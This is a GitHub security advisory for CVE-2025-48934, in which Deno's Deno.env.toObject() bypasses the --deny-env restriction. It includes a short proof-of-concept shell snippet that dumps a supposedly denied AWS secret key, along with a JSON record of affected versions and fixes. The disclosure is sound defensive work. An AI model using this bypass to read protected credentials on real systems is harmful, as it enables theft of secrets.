ghsa-7w8p-chxq-2789
Vulnerability from github
Published
2025-06-04 21:18
Modified
2025-07-02 18:31
Summary
Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables
Details

Summary

The Deno.env.toObject method ignores any variables listed in the --deny-env option of the deno run command. When looking at the documentation of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.

PoC

``` export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

Works as expected. The program stops with a "NotCapable" error message

echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

All enviroment variables are printed and the --deny-env list is completely disregarded

echo 'console.log(Deno.env.toObject());' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - ```

The first example using get exits with the following error: error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY")); ^ at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10) at file:///$deno$stdin.mts:1:22

The second example using toObject prints all environment variables: [Object: null prototype] { ... AWS_SECRET_ACCESS_KEY: "my-secret-aws-key", ... }

Impact

Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno_runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.212.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48934"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:18:18Z",
    "nvd_published_at": "2025-06-04T20:15:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.\n\n### PoC\n\n```\nexport AWS_SECRET_ACCESS_KEY=my-secret-aws-key\n\n# Works as expected. The program stops with a \"NotCapable\" error message\necho \u0027console.log(Deno.env.get(\"AWS_SECRET_ACCESS_KEY\"));\u0027 | deno run \\\n  --allow-env \\\n  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -\n\n# All enviroment variables are printed and the --deny-env list is completely disregarded\necho \u0027console.log(Deno.env.toObject());\u0027 | deno run \\\n  --allow-env \\\n  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -\n```\n\nThe first example using `get` exits with the following error:\n```\nerror: Uncaught (in promise) NotCapable: Requires env access to \"AWS_SECRET_ACCESS_KEY\", run again with the --allow-env flag\nconsole.log(Deno.env.get(\"AWS_SECRET_ACCESS_KEY\"));\n                     ^\n    at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)\n    at file:///$deno$stdin.mts:1:22\n```\n\nThe second example  using `toObject` prints all environment variables:\n```\n[Object: null prototype] {\n  ...\n  AWS_SECRET_ACCESS_KEY: \"my-secret-aws-key\",\n  ...\n}\n```\n\n### Impact\nSoftware relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.",
  "id": "GHSA-7w8p-chxq-2789",
  "modified": "2025-07-02T18:31:08Z",
  "published": "2025-06-04T21:18:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-7w8p-chxq-2789"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/pull/29079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/2959e083912420988066a001c2b2d6732a1b562f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/946ccda1aa19a00c478a5e6826b75053b050d753"
    },
    {
      "type": "WEB",
      "url": "https://docs.deno.com/api/deno/~/Deno.Env.toObject"
    },
    {
      "type": "WEB",
      "url": "https://docs.deno.com/runtime/fundamentals/security/#environment-variables"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…